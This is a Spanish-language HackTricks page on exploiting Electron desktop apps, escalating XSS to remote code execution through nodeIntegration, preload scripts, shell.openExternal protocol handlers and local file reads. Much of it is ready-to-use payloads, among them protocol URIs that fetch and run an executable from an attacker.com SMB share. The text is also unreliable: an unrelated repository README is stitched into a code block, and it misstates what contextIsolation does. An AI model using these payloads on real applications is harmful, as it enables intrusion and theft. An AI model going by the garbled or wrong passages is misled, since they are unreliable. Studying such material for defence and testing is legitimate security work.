.. | ||
electron-contextisolation-rce-via-electron-internal-code.md | ||
electron-contextisolation-rce-via-ipc.md | ||
electron-contextisolation-rce-via-preload-code.md | ||
README.md |
XSS a RCE en aplicaciones de escritorio Electron
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Introducción
Electron está basado en Chromium, pero no es un navegador. Ciertos principios y mecanismos de seguridad implementados por los navegadores modernos no están presentes.
Podrías ver Electron como una aplicación local de backend+frontend donde NodeJS es el backend y Chromium es el frontend.
Por lo general, es posible encontrar el código de la aplicación Electron dentro de una aplicación .asar
, para obtener el código es necesario extraerlo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
En el código fuente de una aplicación Electron, dentro de packet.json
, se puede encontrar especificado el archivo main.js
donde se establecen las configuraciones de seguridad.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron tiene 2 tipos de procesos:
- Proceso principal (tiene acceso completo a NodeJS)
- Proceso de renderizado (debe tener acceso restringido a NodeJS por razones de seguridad)
Un proceso de renderizado será una ventana del navegador que carga un archivo:
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
La configuración del proceso de renderizado se puede configurar en el proceso principal dentro del archivo main.js. Algunas de las configuraciones evitarán que la aplicación Electron obtenga RCE u otras vulnerabilidades si las configuraciones se configuran correctamente.
La aplicación de escritorio podría tener acceso al dispositivo del usuario a través de las API de Node. Las siguientes dos configuraciones son responsables de proporcionar mecanismos para evitar que el JavaScript de la aplicación tenga acceso directo al dispositivo del usuario y a los comandos del nivel del sistema.
nodeIntegration
- está desactivado de forma predeterminada. Si está activado, permite acceder a las funciones de Node desde el proceso de renderizado.contextIsolation
- está activado de forma predeterminada. Si está activado, los procesos principal y de renderizado no están aislados.preload
- vacío de forma predeterminada.sandbox
- está desactivado de forma predeterminada. Restringirá las acciones que NodeJS puede realizar.- Integración de Node en trabajadores
nodeIntegrationInSubframes
- está desactivado de forma predeterminada.- Si
nodeIntegration
está habilitado, esto permitiría el uso de API de Node.js en páginas web que se cargan en iframes dentro de una aplicación Electron. - Si
nodeIntegration
está deshabilitado, entonces los preloads se cargarán en el iframe.
- Si
Ejemplo de configuración:
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
Algunos payloads de RCE de aquí:
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
Capturar tráfico
Modifica la configuración start-main y agrega el uso de un proxy como:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
RCE: XSS + nodeIntegration
Si se establece nodeIntegration en on, el JavaScript de una página web puede usar fácilmente las características de Node.js simplemente llamando a require()
. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
RCE: preload
El script indicado en esta configuración se carga antes que otros scripts en el renderizador, por lo que tiene acceso ilimitado a las API de Node:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Por lo tanto, el script puede exportar las características del nodo a las páginas:
{% code title="preload.js" %}
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
{% endcode %}
{% code title="index.html" %}
XSS to RCE in Electron Desktop Apps
Este repositorio contiene un ejemplo de cómo una vulnerabilidad de XSS en una aplicación de escritorio de Electron puede ser explotada para lograr la ejecución remota de código (RCE).
Descripción
La vulnerabilidad se encuentra en la función loadURL
de la clase BrowserWindow
de Electron. Si se pasa una URL maliciosa a esta función, se puede inyectar código JavaScript en el contexto de la página cargada. En este ejemplo, se utiliza una carga útil de XSS para robar el token de autenticación de la aplicación y enviarlo a un servidor controlado por el atacante.
Una vez que el atacante tiene el token de autenticación, puede usarlo para realizar acciones en nombre del usuario legítimo. En este ejemplo, se utiliza el token para enviar un mensaje de correo electrónico desde la aplicación de correo electrónico predeterminada del usuario.
Uso
Para ejecutar este ejemplo, siga estos pasos:
- Clonar este repositorio
- Instalar las dependencias con
npm install
- Ejecutar el servidor de prueba con
npm run server
- Ejecutar la aplicación de escritorio con
npm start
La aplicación de escritorio abrirá una ventana que carga una página web local. Haga clic en el botón "Iniciar sesión" y use las credenciales de prueba (usuario: test
, contraseña: test
) para iniciar sesión. Una vez que haya iniciado sesión, se mostrará un mensaje que indica que se ha robado el token de autenticación.
Mitigación
Para mitigar esta vulnerabilidad, se deben seguir las siguientes prácticas recomendadas:
- Validar todas las entradas del usuario y escapar de las cadenas de caracteres antes de pasarlas a funciones peligrosas como
loadURL
. - Configurar la política de seguridad de contenido de Electron para evitar la ejecución de código no deseado.
- Mantener actualizadas todas las dependencias de Electron y aplicar parches de seguridad según sea necesario.
Créditos
Este ejemplo fue creado por Felix Krause y se basa en su artículo XSS to RCE in Electron-based Apps.
{% endcode %}
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
{% endcode %}
{% hint style="info" %}
Si contextIsolation
está activado, esto no funcionará
{% endhint %}
RCE: XSS + contextIsolation
El contextIsolation introduce los contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron para que la ejecución de JavaScript de cada código no afecte a cada uno. Esta es una característica necesaria para eliminar la posibilidad de RCE.
Si los contextos no están aislados, un atacante puede:
- Ejecutar JavaScript arbitrario en el renderizador (XSS o navegación a sitios externos)
- Sobrescribir el método integrado que se utiliza en el código de precarga o en el código interno de Electron a su propia función
- Activar el uso de la función sobrescrita
- ¿RCE?
Hay 2 lugares donde se pueden sobrescribir los métodos integrados: en el código de precarga o en el código interno de Electron:
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}
Bypass del evento de clic
Si se aplican restricciones cuando se hace clic en un enlace, es posible que se pueda evitar haciendo clic en el botón central en lugar de hacer clic izquierdo regular.
window.addEventListener('click', (e) => {
RCE a través de shell.openExternal
Si la aplicación de escritorio de Electron se implementa con la configuración adecuada de nodeIntegration
y contextIsolation
, simplemente significa que no se puede lograr una RCE del lado del cliente apuntando a scripts de precarga o código nativo de Electron desde el proceso principal.
Cada vez que un usuario hace clic en el enlace o abre una nueva ventana, se invocan los siguientes escuchadores de eventos:
{% code overflow="wrap" %}
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
{% endcode %}
La aplicación de escritorio anula estos oyentes para implementar la lógica de negocio propia de la aplicación de escritorio. Durante la creación de nuevas ventanas, la aplicación verifica si el enlace navegado debe abrirse en una ventana o pestaña de la aplicación de escritorio, o si debe abrirse en el navegador web. En nuestro ejemplo, la verificación se implementa con la función openInternally
, si devuelve false
, la aplicación asumirá que el enlace debe abrirse en el navegador web utilizando la función shell.openExternal
.
Aquí hay un pseudocódigo simplificado:
De acuerdo con las mejores prácticas de seguridad de Electron JS, la función openExternal
no debe aceptar contenido no confiable porque eso podría llevar a RCE abusando de diferentes protocolos si la aplicación no limita la navegación de los usuarios a través de protocolos como https:// o http://.
Diferentes sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE, para obtener más información sobre ellos, consulte https://positive.security/blog/url-open-rce pero aquí tiene algunos ejemplos de Windows:
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>
<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>
<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
Para obtener más información sobre estos ejemplos, consulte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 y https://benjamin-altpeter.de/shell-openexternal-dangers/
Leer archivos internos: XSS + contextIsolation
Si contextIsolation
se establece en falso, puede intentar usar <webview> (similar a <iframe> pero puede cargar archivos locales) para leer archivos locales y extraerlos: usando algo como <webview src=”file:///etc/passwd”></webview>:
Otra forma de leer un archivo interno se encuentra en este informe.
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
RCE: XSS + Chromium antiguo
Si la aplicación utiliza chromium antiguo y hay vulnerabilidades conocidas en él, podría ser posible explotarlo y obtener RCE a través de un XSS.
Puedes ver un ejemplo en este writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing a través de la omisión de regex de URL interna
Suponiendo que encontraste un XSS pero no puedes activar RCE o robar archivos internos, podrías intentar usarlo para robar credenciales a través de phishing.
En primer lugar, necesitas saber qué sucede cuando intentas abrir una nueva URL, revisando el código JS en el front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
La llamada a openInternally
decidirá si el enlace se abrirá en la ventana del escritorio ya que es un enlace perteneciente a la plataforma, o si se abrirá en el navegador como un recurso de terceros.
En caso de que el regex utilizado por la función sea vulnerable a bypasses (por ejemplo, no escapando los puntos de los subdominios) un atacante podría abusar del XSS para abrir una nueva ventana que se ubicará en la infraestructura del atacante solicitando credenciales al usuario:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Herramientas
- Electronegativity es una herramienta para identificar configuraciones incorrectas y patrones de seguridad en aplicaciones basadas en Electron.
- Electrolint es un plugin de código abierto para VS Code para aplicaciones de Electron que utiliza Electronegativity.
- nodejsscan para comprobar bibliotecas de terceros vulnerables.
- Electro.ng: Hay que comprarla.
Laboratorios
En https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puedes encontrar un laboratorio para explotar aplicaciones de Electron vulnerables.
Algunos comandos que te ayudarán en el laboratorio:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Referencias
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Más investigaciones y artículos sobre la seguridad de Electron en https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.